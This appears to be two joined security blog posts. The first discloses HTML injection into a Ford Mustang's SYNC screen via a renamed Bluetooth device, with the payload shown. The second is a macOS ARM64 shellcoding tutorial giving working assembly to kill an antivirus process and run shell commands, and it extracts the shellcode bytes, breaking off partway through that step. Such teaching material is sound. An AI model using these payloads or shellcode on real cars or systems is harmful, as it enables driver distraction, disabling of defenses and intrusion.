Hello again! This one is from a completely different battlefield: car hacking. Modern cars are rolling computers — the infotainment unit in front of the driver is a full computer running its own OS, rendering its own UI, And talking to the outside world over Bluetooth, Wi-Fi and USB. And just like any other computer, If it renders attacker-controlled input without sanitizing it… it breaks.

This is a vulnerability I found in the Ford Mustang Shelby GT500 (V8) infotainment system (Ford SYNC): the Bluetooth device name of any phone trying to pair is rendered inside the SYNC pairing dialog without sanitization — which means an attacker can inject HTML into the car’s dashboard screen, Just by renaming their phone.

The Story

It started the way most of these finds start — sitting in a rented Ford Mustang Shelby GT500, Bored, Poking at things. The SYNC unit was waiting for a Bluetooth device to pair, And my phone was sitting right there with its Bluetooth settings open. One thought crossed my mind: the pairing screen displays the phone’s device name on the car’s screen. And car screens these days are not drawn with pixels — They are drawn with HTML.

Modern infotainment units (and Ford SYNC is no exception) render their interfaces using web technologies. Which means every string that touches that screen — including the Bluetooth device name of the phone you pair — is very likely being interpolated into some HTML template somewhere. And if nobody sanitized that string…

So I opened my phone’s Bluetooth settings, Renamed my device, And watched the car screen. The payload was simple — my device name (azima) wrapped with an attribute-breakout and a heading tag:

"><h1>azima</h1>

Breaking it down piece by piece:

The Vulnerability

Now the car side. On the SYNC unit: Phone → Bluetooth Devices → Select a Device to Pair → the discovery list picks up the phone. And look at what the device list shows — the injected fragment "> is already leaking onto the screen as raw text where the clean device name should be:

Selecting the device starts the pairing. And here is the first confirmation — the “Waiting for” dialog renders the raw device name as text: "↳<h1>azima</h1> — The tag characters visible, Sitting in the dialog as-is:

But the PIN confirmation dialog is where it gets interesting. Look very carefully at what the SYNC screen renders for the crafted device:

Compare it with a normal pairing (clean device name azima, No payload):

Side by side, The difference is the whole vulnerability:

That heading is not the car drawing my name in big letters out of politeness — that is a real <h1> HTML element, Parsed and rendered by the SYNC UI. The "> at the top of the dialog is the broken-out attribute closure — The exact bytes of my payload, Interpreted as markup.

So What Happened Under the Hood

The SYNC pairing dialog builds its screen from an HTML template, Interpolating the Bluetooth device name into an attribute or text node:

<!-- simplified reconstruction of the pattern -->
<div class="device-name" title="azima">azima</div>

With the crafted name, The interpolation becomes:

<div class="device-name" title=""><h1>azima</h1>">azima</div>

— The quote closes the attribute early, The <h1> opens a real element, And the parser renders attacker-controlled markup on the car’s dashboard. Textbook HTML injection — Except the injection point is a Bluetooth device name And the rendering target is the screen in front of the driver.

Impact

As demonstrated: arbitrary HTML injection into the infotainment display, Reachable by any Bluetooth-range device with a renameable name — No pairing required to reach the discovery list rendering, And the payload survives into the pairing flow. Where that goes:

• UI spoofing — attacker-controlled text and formatting rendered on the dashboard: fake dialogs, Fake warnings, Fake messages to the driver. A driver looking at a big injected heading is a driver looking away from the road.
• Persistence — the paired-device record keeps the crafted name in the car’s storage: the injection re-renders every time the phone list or pairing state is displayed, On every connection.
• Escalation path — HTML injection into a web-rendered UI is one step from script execution if the runtime evaluates injected script or event handlers (<img onerror=...>-style payloads). That escalation was not part of this test — And it is exactly why Ford rated the report Informative: no JS execution demonstrated means no code-execution impact. But the injection primitive it stands on is demonstrated here.

Reporting

Reported to Ford through their vulnerability reporting channel, With the full reproduction: the crafted Bluetooth device name, The pairing steps, And the evidence screenshots from this post.

Ford’s verdict: accepted as Informative — The injection renders attacker-controlled HTML on the infotainment screen, But no JavaScript execution was demonstrated, So it stayed below the bar for a code-execution issue. No CVE was assigned for this finding.

And the natural next step — pulling the head unit’s flash, Reversing the SYNC web runtime, Mapping the renderer to turn the HTML injection into script execution — was off the table: the car was a rental, Not mine to disassemble. The head unit stays in the car, And the deeper research stays open for whoever gets their hands on one.

Conclusion

One renamed Bluetooth device, One HTML payload, And the Ford Mustang Shelby GT500’s dashboard renders attacker-controlled markup on the driver’s screen. The lesson is the same one this whole series keeps repeating — every string that reaches a renderer is an injection point, Whether it comes from a web form, A syscall, Or the name of a phone passing by on Bluetooth. Modern car UIs are web UIs, And web UIs that interpolate unsanitized input get popped — Even at 70 miles per hour. The next steps (script execution, Persistence across reboots, Lateral movement into the ` head unit's OS`) are the natural follow-ups — But the injection primitive demonstrated here is where every one of them starts.

Help ?

If you got any questions or need help, You can contact me:

• Linkedin
• Twitter/X
• Email: contact@zeyadazima.com
• Discord: .killer_1337 including .

Tags: General

Categories: General

Hello again, in our previous blogpost we explored shellcoding on macOS for the x86_64 architecture. But since Apple has been shipping Apple Silicon (M1/M2/M3/M4) machines with ARM64 (AArch64) as the first-class citizen — and x86_64 on Apple hardware now runs only through the Rosetta 2 translation layer — it only makes sense to cover shellcoding on the native architecture for modern macOS systems. Before diving in, you’ll need at least a basic understanding of ARM64 assembly — this isn’t an assembly tutorial, so if you’re unfamiliar with the fundamentals, take some time to learn them first and return when you’re ready for the challenge. If you read our x86_64 blogpost, You will find this one very familiar, Cause we will follow the same practical workflow: start by writing code in C, identify the necessary system calls, and then translate everything into assembly. This approach leverages the wealth of existing C documentation and resources, making the process significantly more manageable. You’ll find countless examples of how to build network clients, manipulate processes, or execute commands in C, but you’d be hard-pressed to find someone talking about implementing these same tasks purely in ARM64 assembly. Let’s start with our Blogpost.

You can find all the code on my github: https://github.com/Zeyad-Azima/macOShellcoding

Lab Setup

Let’s Setup our Lab and the required tools, Let’s list all the other tools we need.

• Homebrew

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

• Xcode:

We can download it from `AppStore`.
or: https://xcodereleases.com

• Xcode Command Line Tools (CLT)

xcode-select --install

That’s all we need this time. Cause as we will see, nasm is out and clang is in.

Note: In our x86_64 blogpost we used nasm -f macho64 to assemble our code, But nasm doesn’t support the ARM64 architecture at all. Instead, we will write our code in Apple’s GNU-style assembly syntax (.s files) and let clang do the assembling for us, Since clang is Apple’s native assembler front-end for arm64. Different dialect, same discipline.

Before we go on straight to shellcoding, We need to understand some FUNDAMENTALS first we would be using to be able to write our shellcodes. As we know the macos kernel (XNU) is a hybrid kernel which contains also BSD. We need to download the XNU source code. Cause we will use it for references in creating our shellcodes and understanding syscalls on macOS. We can download it from here.

Now, We need to download the source code version that matches the macOS you writing the shellcode for. I am on macOS Sequoia and the version is macOS 15.2. You can use sw_vers command to check it.

~ % sw_vers
ProductName:		macOS
ProductVersion:		15.2
BuildVersion:		24C101

Now, Let’s download the XNU VERSION FOR it — same as last time, In our case we need xnu-11215.61.5 which is the source version shipping with macOS 15.2.

XNU Syscall Classes on ARM64

Now, Let’s open it with VSCode or your favorite IDE/CodeEditor.

Last time on x86_64 we went to osfmk/mach/i386/syscall_sw.h, So naturally we open osfmk/mach/arm/syscall_sw.h expecting the same class table… And it is not there. Surprise number one of the ARM64 world: the ARM64 file doesn’t carry the SYSCALL_CLASS_* defines at all — The class table lives only in the i386 file (osfmk/mach/i386/syscall_sw.h), And even libsyscall’s own code points there (/* see mach/i386/syscall_sw.h */).

What the ARM64 file does contain is even more interesting — the kernel-side trap macro that shows exactly how macOS receives our syscalls:

#elif defined(__arm64__)

#include <mach/machine/vm_param.h>

#define kernel_trap(trap_name, trap_number, num_args) \
.globl _##trap_name                                           %% \
.text                                                         %% \
.align  2                                                     %% \
_##trap_name:                                                 %% \
    mov x16, #(trap_number)                                   %% \
    svc #SWI_SYSCALL                                          %% \
    ret

Read it with me, Cause this is the kernel telling us its own convention, Straight from the source: the trap number goes in X16, And the syscall is issued with svc #SWI_SYSCALL. This is the kernel-side proof of everything we did in the shellcodes below.

And where does SWI_SYSCALL come from? One more hop — osfmk/mach/arm/vm_param.h:

#define SWI_SYSCALL     0x80

0x80 — the canonical immediate we ring in every shellcode below, Straight from the source file. (On Linux ARM64 you would use svc #0 instead — Same instruction, different garden.)

So where is the class table? Back in the i386 file — And the encoding convention carried over to ARM64 through userland: the syscall numbers are still built as (class << 24) | syscall, Which is why our old friend execve (syscall number 59 or 0x3B in hex) from the SYSCALL_CLASS_UNIX (class number 2) is still passed as 0x200003B when we make the syscall. The doors don’t move between floors just because the building was renovated — The kitchen just showed us its ticket scanner.

BSD = 0x02 « 24 = 0x02000000 → 0x2000000

Back to our XNU restaurant analogy from last time — you’re still dining in the same multi-level establishment, and the kitchen still routes your order based on the encoded ticket with the class shifted 24 bits left. The only thing that changed is how you summon the waiter: on x86_64 you wave the syscall flag and show your ticket in RAX, while on ARM64 you ring the svc #0x80 bell and show the ticket in X16. Same ticket (0x0200003B for the execve tiramisu on the BSD floor), different bell. Bon appétit in the kernel!

Note: On ARM64, the syscall number goes in the X16 register instead of RAX, and the syscall is issued using the svc instruction (Supervisor Call) instead of syscall. On macOS the svc immediate operand is 0x80 (svc #0x80) — on Linux ARM64 you would use svc #0 instead. Same instruction, different garden.

Here is a generic example of making a write syscall on ARM64 macOS:

; Example assembly code for ARM64 macOS system call
mov x16, #SYS_write     ; Load the syscall number for 'write' into X16
mov x0, #1              ; File descriptor 1 (stdout)
mov x1, buffer          ; Pointer to buffer to write from
mov x2, #buffer_size    ; Number of bytes to write
svc #0x80               ; Issue the system call instruction

ARM64 Calling Conventions and Registers

In the ARM64 System used by macOS (Apple Silicon), function arguments are passed via registers X0 through X7 in order: X0 holds the 1st argument, X1 the 2nd, X2 the 3rd, and so on till X7. The return value is placed in X0, while X8 is used as the indirect return value address for large structs. The syscall number itself goes in X16 (the inter-procedural scratch register), PC points to the next instruction to execute, SP manages the stack (and must be 16-byte aligned before any call), X29 serves as the frame pointer, and X30 is the link register which stores the return address. If a function requires more than eight arguments, additional arguments are passed on the stack.

Calling Conventions Table

You can use this table as a reference.

The ARM64 architecture requires that the stack pointer (SP) is 16-byte aligned before making a function call, which is crucial for maintaining a reliable call stack and preventing alignment faults. When writing shellcode or functions in assembly, you need to preserve this alignment by adjusting the stack accordingly before function calls. And unlike x86_64 where alignment issues sometimes forgave us, the ARM64 Darwin kernel will happily throw alignment faults at you if you break this.

To illustrate how these registers are used in a syscall, In the Apple .s syntax we will use through this post:

; Assume x0, x1, and x2 are already set with appropriate values
mov x16, syscall_number     ; Syscall number goes in X16
; x0 = 1st argument
; x1 = 2nd argument
; x2 = 3rd argument
svc #0x80                   ; Execute syscall

Shellcoding

Before writing our shellcode, To make it easy for ourselves instead of getting lost in all the assembly instructions, The best workflow to do is to write your code in C, then we convert it to assembly which will make it very easy for us, As there are references and resources for C it will make our process easier. For example, You would find people talking about how to make a client/server in C using socket. But, you won’t find someone(“insane”) talking about how to make a client/server in ARM64 assembly. So The process would be as the following:

• Find C functions that we will need in our code.
• Write our code in C.
• Turn our code into assembly.
  • Which including getting our syscall numbers ready.
  • Function arguments and types.

Let’s go ahead and start with something simple to make things clear.

Print ‘Hello’

We will start by printing Hello into the screen. So let’s apply our workflow. Usually when we want to print something in C, we use printf() function as the following:

#include <stdio.h>

int main() {
    printf("Hello");
    return 0;
}

Now, As we identified the functions we need which is printf(), And we wrote our code the 3rd step is to turn it into assembly. So the first thing we would need is to get the syscall number for printf(), We can find all the syscalls in bsd/kern/syscalls.master. From our x86_64 blogpost investigation we already know that printf() is not in there, and after chasing the implementation we end up at the same conclusion: printf() goes through vfprintf and friends until we reach the write syscall.

Call Chain: printf → write Syscall

You can find the source code files here (same links as last time):

• printf.c
• vfprintf.c
• vfprintf-internal.c
• printf_buffer.h
• fileops.c
• libioP.h

Also you could just have asked ChatGPT or something xD, But keep in mind with complicated shellcodes you would want to go through codes and else cause you always will learn something and upgrade yourself.

Now, When we search for write syscall we can see it in the syscalls.master file:

And as before, the write syscall number is 4, it takes 3 arguments. We need to learn about these arguments and how to use them, Which simply can be done by searching it or going to the documentation:

So from the description we can know that we need to supply the string pointer to buf the second argument and number of bytes (length) to the third argument nbyte, And for the fd (File Descriptor), When we search it we will see that it takes the following values:

• 0 (STDIN_FILENO): Represents standard input, typically connected to the keyboard or the input of a pipe.
• 1 (STDOUT_FILENO): Represents standard output, typically connected to the display or the output of a pipe.
• 2 (STDERR_FILENO): Represents standard error, typically connected to the display for error messages.

Our goal here is STDOUT which is value 1. So our syscall will be as the following:

int main() {
    const char *message = "Hello";
    write(1, message, 5);
}

Now let’s write our shellcode. First, a small but important difference from x86_64 we need to deal with: on x86_64 we could do mov rcx, 'Hello' and push rcx to plant a string on the stack in 2 instructions — But ARM64 instructions are fixed-size (4 bytes each), and mov can only encode up to 16 bits directly. So we build our 64-bit value piece by piece using movz/movk (Move Zero / Move Keep, each handling one 16-bit chunk). Then we store it to the stack. So our shellcode:

.global _main
.align 2

_main:
	sub sp, sp, #16         ; make room on the stack for our string (16 keeps SP 16-byte aligned)
	movz x9, #0x6548        ; build our string: 'H','e' chunk -> x9 = 0x0000000000006548
	movk x9, #0x6c6c, lsl #16 ; 'l','l' chunk -> x9 = 0x000000006c6c6548
	movk x9, #0x006f, lsl #32 ; 'o' chunk + terminator zeros -> x9 = 0x0000006f6c6c6548 ('Hello\0\0\0')
	stur x9, [sp]           ; store the string bytes onto the stack
	mov x1, sp              ; buf argument -> X1: pointer to our string
	mov x2, #5              ; nbytes argument -> X2: our string length
	mov x0, #1              ; fd argument -> X0: stdout
	movz x16, #4            ; write syscall number (4)
	movk x16, #0x200, lsl #16 ; OR with the BSD syscall class 2 -> X16 = 0x2000004
	svc #0x80               ; invoke/execute the syscall

Here our shellcode, starting with .global _main to export the Mach-O entry point and .align 2 to keep instructions 4-byte aligned — the ARM64 replacement of bits 64 + global _main from nasm. The sub sp, sp, #16 makes room on the stack for our string while keeping SP 16-byte aligned (our new non-negotiable rule). Next, We build the string 'Hello' chunk by chunk into X9: movz x9, #0x6548 loads the first 16 bits ('H','e' little-endian), movk x9, #0x6c6c, lsl #16 keeps loading 'l','l' into the next chunk, And movk x9, #0x006f, lsl #32 loads 'o' plus a zero chunk which doubles as our NULL terminator — Padding the remaining bytes with zeros 0x00 exactly like our push rcx did on x86_64. The stur x9, [sp] (Store Register unscaled) then writes all 8 bytes to the stack, And mov x1, sp supplies the pointer to our string for the buf argument. The mov x2, #5 sets the number of bytes to write matching the length of Hello, And mov x0, #1 selects stdout for the fd argument. Finally the movz x16, #4 + movk x16, #0x200, lsl #16 pair loads our XNU encoded syscall number — On x86_64 we could mov rax, 0x2000004 in one shot, But since ARM64 chunks are 16 bits each we split it: the low 16 bits hold 4 (write) and 0x200 placed at bits 16-31 via lsl #16 combines into exactly 0x2000004 = (SYSCALL_CLASS_UNIX << 24) | 4. The svc #0x80 instruction triggers the kernel trap, dispatching through XNU’s handler to execute write(1, "Hello", 5).

Note: Be careful with your movk chunks — each 16-bit value is a little-endian pair of characters. 'l','l' is 0x6c6c, NOT 0x6c6f. During testing, One wrong chunk had our shellcode happily printing Heloo instead of Hello, And it still “worked” — 5 bytes came out, Just the wrong ones. The kernel doesn’t read your strings, It just counts bytes. Always verify your output!

Let’s save our code into file hello.s and compile our code.

• First, Assemble to object file using clang with arm64 arch (the replacement of nasm -f macho64):

shellcoding % clang -arch arm64 -c hello.s
shellcoding % ls
hello.s		hello.o

We got our object file hello.o.

• Second, We will link the required libraries needed for the code to generate the executable using ld (same flags as our x86_64 post, Just with the MacOSX15.2 SDK):

shellcoding % ld -o hello hello.o -L /Library/Developer/CommandLineTools/SDKs/MacOSX15.2.sdk/usr/lib -lSystem -platform_version macos 15.2 15.2
shellcoding % ls
hello		hello.s		hello.o

Here we can see after linking we got our executable.

Note: Remember the ld: warning: no platform load command found in 'hello.o' warning from the x86_64 post? With clang doing the assembling you typically won’t see it here, Cause clang embeds the platform load command in the object for us. One less thing to worry about.

• Let’s run and test our executable:

shellcoding % ./hello 
Hellozsh: illegal hardware instruction  ./hello
shellcoding % 

A new friend this time — on x86_64 our exit-less shellcode died with a segmentation fault, But on ARM64 we get illegal hardware instruction (SIGILL, exit code 132). And the reason is the same as before, Just wearing different clothes: the program doesn’t return (exit) after our write syscall, So the CPU keeps executing whatever comes after our code — And on ARM64 the zero padding bytes after our shellcode decode as udf #0 (Permanently Undefined instruction), An instruction that is guaranteed to trap, So the kernel kills the process with SIGILL instead of walking into invalid memory like x86_64 did. Either way: Like we learned before, return 0; in a C main becomes the exit syscall, Which terminates the entire process and returns the specified exit status to the OS. So, We need to exit after executing our write syscall.

Exit

We can exit using exit syscall, As we can see it in the syscalls.master file — the same line we saw last time, Since it’s the same BSD side of the fence:

1	AUE_EXIT	ALL	{ void exit(int rval) NO_SYSCALL_STUB; }

The syscall number is 1 and it takes only 1 integer argument rval which is the value to return — 0 for EXIT_SUCCESS or something else for EXIT_FAILURE. Let’s update our shellcode and add exit syscall:

.global _main
.align 2

_main:
	sub sp, sp, #16         ; make room on the stack for our string
	movz x9, #0x6548        ; build our string: 'H','e' chunk
	movk x9, #0x6c6c, lsl #16 ; 'l','l' chunk
	movk x9, #0x006f, lsl #32 ; 'o' chunk + terminator zeros
	stur x9, [sp]           ; store our string on the stack
	mov x1, sp              ; buf argument -> pointer to our string
	mov x2, #5              ; nbytes argument (string length)
	mov x0, #1              ; fd argument (stdout)
	movz x16, #4            ; write syscall number
	movk x16, #0x200, lsl #16 ; OR with the BSD syscall class 2 -> X16 = 0x2000004
	svc #0x80               ; invoke/execute the syscall

	movz x16, #1            ; exit syscall number
	movk x16, #0x200, lsl #16 ; OR with the BSD syscall class 2 -> X16 = 0x2000001
	mov x0, #0              ; arg int rval
	svc #0x80               ; invoke/execute the syscall

Notice even the exit number 1 needs its class chunk: X16 must carry 0x2000001, Not just 1 — Remember, never shout just “1” in the XNU restaurant, the kitchen needs the full encoded ticket with the floor number.

Now, let’s repeat the process of compiling to get our executable again and test it.

shellcoding % clang -arch arm64 -c hello.s
shellcoding % ld -o hello hello.o -L /Library/Developer/CommandLineTools/SDKs/MacOSX15.2.sdk/usr/lib -lSystem -platform_version macos 15.2 15.2
shellcoding % ./hello 
Hello%                                                           
shellcoding % 

As we see clearly our code worked perfectly this time.

Kill a Process

Let’s do another shellcode, And take the same scenario as last time: we found a way to execute code with high privileges and We need to write a shellcode to kill the AV process. The C code to kill a process is as the following:

#include <stdio.h>
#include <signal.h>
#include <sys/types.h> // For pid_t
#include <unistd.h>    // For getpid() (optional, for self-killing example)

int main() {
    pid_t target_pid;

    target_pid = 12345; 

    // Sending SIGTERM (graceful termination)
    kill(target_pid, SIGTERM);

    return 0;
}

We can see here we used kill function and supply the PID and the signal which is SIGTERM.

Now, If we search for kill in syscalls.master. We can find it:

37	AUE_KILL	ALL	{ int kill(int pid, int signum, int posix) NO_SYSCALL_STUB; }

Same as last time, the syscall number is 37 (0x25), And from the XNU source at bsd/sys/signal.h:103 we know:

#define SIGKILL 9       /* kill (cannot be caught or ignored) */
#define SIGBUS  10      /* bus error */
#define SIGSEGV 11      /* segmentation violation */
#define SIGSYS  12      /* bad argument to system call */
#define SIGPIPE 13      /* write on a pipe with no one to read it */
#define SIGALRM 14      /* alarm clock */
#define SIGTERM 15      /* software termination signal from kill */
#define SIGURG  16      /* urgent condition on IO channel */
#define SIGSTOP 17      /* sendable stop signal not from tty */

So SIGTERM is 15 and SIGKILL is 9 — and again we prefer SIGKILL as it will be forced and kill (cannot be caught or ignored). Also, as we learned from bsd/kern/kern_sig.c:1373 last time, the third argument int posix:

We will go with 1 to get the same behaviour as the kill() we call in C.

Note: usually when you see extra arguments that was not mentioned or supplyed in the C code, It means that the argument is optional and not really required so you always can supply 0 or NULL as a value to the optional/non-required arguments.

Let’s spawn a test process and get its PID to supply as the first argument — same infinity loop running in background:

shellcoding % while true; do sleep 10; done &
[1] 36743
shellcoding % ps -p 36743
  PID TTY           TIME CMD
36743 ttys001    0:00.01 -zsh

the PID is 36743. Converting it to hex: 36743 = 0x8F87. (Your PID will be different every run — just convert yours the same way.)

Now, Lets write our shellcode:

.global _main
.align 2

_main:
	movz x0, #0x8f87        ; 1st argument -> our PID 36743 (0x8F87 in hex)
	                        ; note: `movz` zero-fills the whole 64-bit destination, so upper bits are NULL
	mov x1, #9              ; 2nd argument -> signum, our SIGKILL value
	mov x2, #1              ; 3rd argument -> posix behavior, `!0` for POSIX/BSD
	movz x16, #0x25         ; the kill syscall number 37 (0x25 in hex)
	movk x16, #0x200, lsl #16 ; OR with the BSD syscall class 2
	svc #0x80               ; invoke/execute the syscall

	movz x16, #1            ; exit syscall number
	movk x16, #0x200, lsl #16 ; OR with the BSD syscall class 2
	mov x0, #0              ; arg int rval
	svc #0x80               ; invoke/execute the syscall

Here our shellcode, We pass our arguments as the following: PID for X0, then signum for X1 and after that, posix to X2, And we setup X16 with the BSD-encoded syscall ticket 0x2000025 — same style as the kill shellcode from x86_64, Just wearing ARM clothes. Finally, We exit gracefully using exit syscall.

shellcoding % clang -arch arm64 -c killer.s
shellcoding % ld -o killer killer.o -L /Library/Developer/CommandLineTools/SDKs/MacOSX15.2.sdk/usr/lib -lSystem -platform_version macos 15.2 15.2
shellcoding % ./killer
shellcoding % 
[1]  + killed     while true; do; sleep 10; done
shellcoding % ps -p 36743
  PID TTY           TIME CMD

As we can see clearly, The process has been killed successfully.

Execute Command

Now, The exciting parts where we need to execute commands. Let’s bring our C code to execute commands on the system, Same as before:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>

int main() {
    pid_t pid;
    char *const argv[] = {"/bin/sh", "-c", NULL}; // Command and its arguments
    char *const envp[] = {NULL}; // Environment variables (can be customized)

    execve(argv[0], argv, envp);
   

    return 0;
}

As we can see here it uses execve() function. And from our earlier post, We already know the syscall in syscalls.master:

59	AUE_EXECVE	ALL	{ int execve(char *fname, char **argp, char **envp) NO_SYSCALL_STUB; }

So it takes a pointer to the fname which is the file name, then pointer to array argp and pointer to another array envp.

We can see that in the description of execve(), the first argument is the path to the binary we want to execute which is gonna be the shell in this case. Then for the second argument it takes array the arguments of the executable or program we passing and the first element in the array has to be the same file name. So the array will be as the following, if we want to execute echo "W00tW00t" > /tmp/Pwned.txt command {"/bin/sh","-c","echo \"W00tW00t\" > /tmp/Pwned.txt", NULL} — and pay attention to that last NULL: the argv array must be NULL-terminated, Something the C compiler does for us silently in the code above, But we have to do it ourselves in assembly. The third argument envp as mentioned is optional so we can supply NULL.

Let’s go on and write our shellcode. Two problems first, Both ARM64-flavored:

• Our /bin/zsh string is exactly 8 characters long, Which fills all 8 bytes with no room for a NULL terminator — So we will use /bin/sh (7 chars + terminator = exactly 8 bytes). Same trick, one character shorter.
• On x86_64 we used the classic call array / db '...' duo to place the long command string — But ARM64 has something even more elegant: the adr instruction (Address of), Which loads a PC-relative address of any label near our code (within ±1MB). No calling trick needed, The assembler does the address math for us.

.global _main
.align 2

_main:
	sub sp, sp, #48         ; make space on the stack: 2 string slots + 4 array slots (48 keeps SP 16-byte aligned)
	movz x9, #0x622f        ; build "/bin/sh\0" chunk by chunk: '/b'
	movk x9, #0x6e69, lsl #16 ; 'i','n' -> "/bin"
	movk x9, #0x732f, lsl #32 ; '/','s' -> "/bin/s"
	movk x9, #0x0068, lsl #48 ; 'h' + terminator -> "/bin/sh\0"
	stur x9, [sp]           ; store the "/bin/sh\0" string at [sp]
	movz x10, #0x632d       ; build "-c\0": '-','c' chunk, upper zeros = terminator
	stur x10, [sp, #8]      ; store the "-c\0" string at [sp, #8]
	adr x11, cmd            ; classic position-independent trick: load the PC-relative address of our command string
	mov x3, sp              ; x3 = ADDRESS of the "/bin/sh\0" string
	add x4, sp, #8          ; x4 = ADDRESS of the "-c\0" string
	str x3, [sp, #16]       ; argv[0] -> pointer to "/bin/sh\0"
	str x4, [sp, #24]       ; argv[1] -> pointer to "-c\0"
	str x11, [sp, #32]      ; argv[2] -> pointer to our command string
	str xzr, [sp, #40]      ; argv[3] -> NULL terminator (the array must end with NULL)
	mov x0, sp              ; fname argument -> pointer to "/bin/sh\0"
	add x1, sp, #16         ; argp argument -> pointer to our argv array
	mov x2, xzr             ; envp argument -> NULL (XZR always reads as zero)
	movz x16, #0x3b         ; the execve syscall number 59 (0x3B in hex)
	movk x16, #0x200, lsl #16 ; OR with the BSD syscall class 2
	svc #0x80               ; invoke/execute the syscall

	movz x16, #1            ; exit syscall number
	movk x16, #0x200, lsl #16 ; OR with the BSD syscall class 2
	mov x0, #0              ; arg int rval
	svc #0x80               ; invoke/execute the syscall

cmd:
	.string "echo \"W00tW00t\" > /tmp/Pwned.txt"

Here our shellcode, first we sub sp, sp, #48 — 48 is divisible by 16, So our SP alignment rule holds even after the decrement. Then we build the /bin/sh\0 string chunk by chunk into X9 using movz/movk (each 16-bit chunk is the little-endian pair of characters) and -c\0 into X10, And we stur (Store Register unscaled, which allows any stack offset) them into the first two stack slots. The adr x11, cmd is the ARM64 equivalent of the classic x86_64 position-independent trick — Since the command string "echo \"W00tW00t\" > /tmp/Pwned.txt" is too long to build with registers, We .string it after our shellcode at the cmd: label and adr loads its PC-relative address into X11, So the command string’s runtime address is available no matter where the shellcode gets injected — Just like the call array / db '...' duo, But cleaner.

Now pay attention to the next part, Cause this is where ARM64 slapped me personally during testing: mov x3, sp and add x4, sp, #8 compute the addresses of our two strings, And only those addresses go into the argv array. The trap is writing str x9, [sp, #16] instead — storing the string bytes 0x0068732f6e69622f as argv[0] instead of a pointer to the string. It assembles fine, It runs fine, And execve fails with EFAULT (error 14, bad address) while your shellcode gracefully exits like nothing happened. Remember: on x86_64 the original shellcode did mov rdi, rsp — copying the stack pointer to get the string address, Not the string value. Same lesson, New architecture: the kernel wants pointers, Not your data.

After the pointers, str xzr, [sp, #40] places the NULL terminator as argv[3] — the silent end-of-array marker that C adds for you and assembly won’t. Without it, execve reads whatever garbage sits at sp+40 as a fourth argument pointer and fails. Then we set the execve arguments: X0 = sp points to the string for the fname argument, X1 = sp + 16 points to our argp array, And X2 = xzr for envp which is NULL. Then the movz/movk pair sets X16 = 0x200003B for our execve syscall, And svc #0x80 invokes the kernel to execute execve(filename, argv, envp). If execve returns (i.e., it failed) the code falls through to the exit syscall to terminate the process.

Note: 0x3B = 59 decimal → execve

Note: mov x2, xzr is our new best friend — XZR (the zero register) always reads as 0 and ignores writes, So mov x2, xzr is the ARM64 way of writing xor rdx, rdx from x86_64. Zero on demand, No instruction spent on computing it. And envp = NULL works fine on macOS — verified.

shellcoding % clang -arch arm64 -c execute.s
shellcoding % ld -o execute execute.o -L /Library/Developer/CommandLineTools/SDKs/MacOSX15.2.sdk/usr/lib -lSystem -platform_version macos 15.2 15.2
shellcoding % ls /tmp | grep -i pwned
shellcoding % ./execute
shellcoding % ls -la /tmp/Pwned.txt
-rw-r--r--  1 labatrixteam  wheel  9 Sep 17 00:30 /tmp/Pwned.txt
shellcoding % cat /tmp/Pwned.txt 
W00tW00t

We can see clearly, That our shellcode is executed successfully and our file created.

Extract Shellcode

Now, Let’s extract our shellcode from the object file, So if we need to send it with our exploit. We will use objdump and otool to view it, And — spoiler — segedit to actually extract it. You will see why in a moment.

objdump

Careful here — the --x86-asm-syntax=intel flag which we used on x86_64 makes no sense for ARM64, Since objdump will happily print ARM64 assembly by itself. Here is our real disassembly:

shellcoding % objdump --disassemble ~/shellcoding/execute.o

execute.o:	file format mach-o arm64

Disassembly of section __TEXT,__text:

0000000000000000 <ltmp0>:
       0: d100c3ff     	sub	sp, sp, #0x30
       4: d28c45e9     	mov	x9, #0x622f             ; =25135
       8: f2adcd29     	movk	x9, #0x6e69, lsl #16
       c: f2ce65e9     	movk	x9, #0x732f, lsl #32
      10: f2e00d09     	movk	x9, #0x68, lsl #48
      14: f80003e9     	stur	x9, [sp]
      18: d28c65aa     	mov	x10, #0x632d            ; =25389
      1c: f80083ea     	stur	x10, [sp, #0x8]
      20: 1000022b     	adr	x11, 0x64 <cmd>
      24: 910003e3     	mov	x3, sp
      28: 910023e4     	add	x4, sp, #0x8
      2c: f9000be3     	str	x3, [sp, #0x10]
      30: f9000fe4     	str	x4, [sp, #0x18]
      34: f90013eb     	str	x11, [sp, #0x20]
      38: f90017ff     	str	xzr, [sp, #0x28]
      3c: 910003e0     	mov	x0, sp
      40: 910043e1     	add	x1, sp, #0x10
      44: aa1f03e2     	mov	x2, xzr
      48: d2800770     	mov	x16, #0x3b              ; =59
      4c: f2a04010     	movk	x16, #0x200, lsl #16
      50: d4001001     	svc	#0x80
      54: d2800030     	mov	x16, #0x1               ; =1
      58: f2a04010     	movk	x16, #0x200, lsl #16
      5c: d2800000     	mov	x0, #0x0                ; =0
      60: d4001001     	svc	#0x80

0000000000000064 <cmd>:
      64: 6f686365     	umlml2.4s	v5, v27, v8[2]
      68: 30572220     	adr	x0, 0xae4ad <cmd+0xae449>
      6c: 30577430     	adr	x16, 0xaeef1 <cmd+0xaee8d>
      70: 20227430     	<unknown>
      74: 742f203e     	cbge	w30, w15, 0xfffffffffffffc6c <cmd+0xfffffffffffffc14>
      78: 502f706d     	adr	x13, 0x5ee86 <cmd+0x5ee22>
      7c: 64656e77     	<unknown>
      80: 7478742e     	<unknown>
      84: 00           	<unknown>

A few things to notice here:

• Don’t panic about the <ltmp0> label — that’s just the local temp label clang’s assembler emits for the code block; _main is still there as the global symbol at the same address (check with nm execute.o).
• adr x11, 0x64 <cmd> still resolves to our cmd: label — The position-independent trick survived the whole disassembly, Perfect.
• And just like in the x86_64 post, objdump blindly disassembles our cmd: string data as “instructions” — That umlml2.4s v5, v27, v8[2] nonsense at 0x64 is literally the bytes of echo "W00tW00t" > /tmp/Pwned.txt being interpreted as code. Same restaurant, Same garbage.

otool

• Let’s dump the raw section bytes with otool:

shellcoding % otool -s __TEXT __text ~/shellcoding/execute.o

execute.o:
(__TEXT,__text) section
0000000000000000 d100c3ff d28c45e9 f2adcd29 f2ce65e9 
0000000000000010 f2e00d09 f80003e9 d28c65aa f80083ea 
0000000000000020 1000022b 910003e3 910023e4 f9000be3 
0000000000000030 f9000fe4 f90013eb f90017ff 910003e0 
0000000000000040 910043e1 aa1f03e2 d2800770 f2a04010 
0000000000000050 d4001001 d2800030 f2a04010 d2800000 
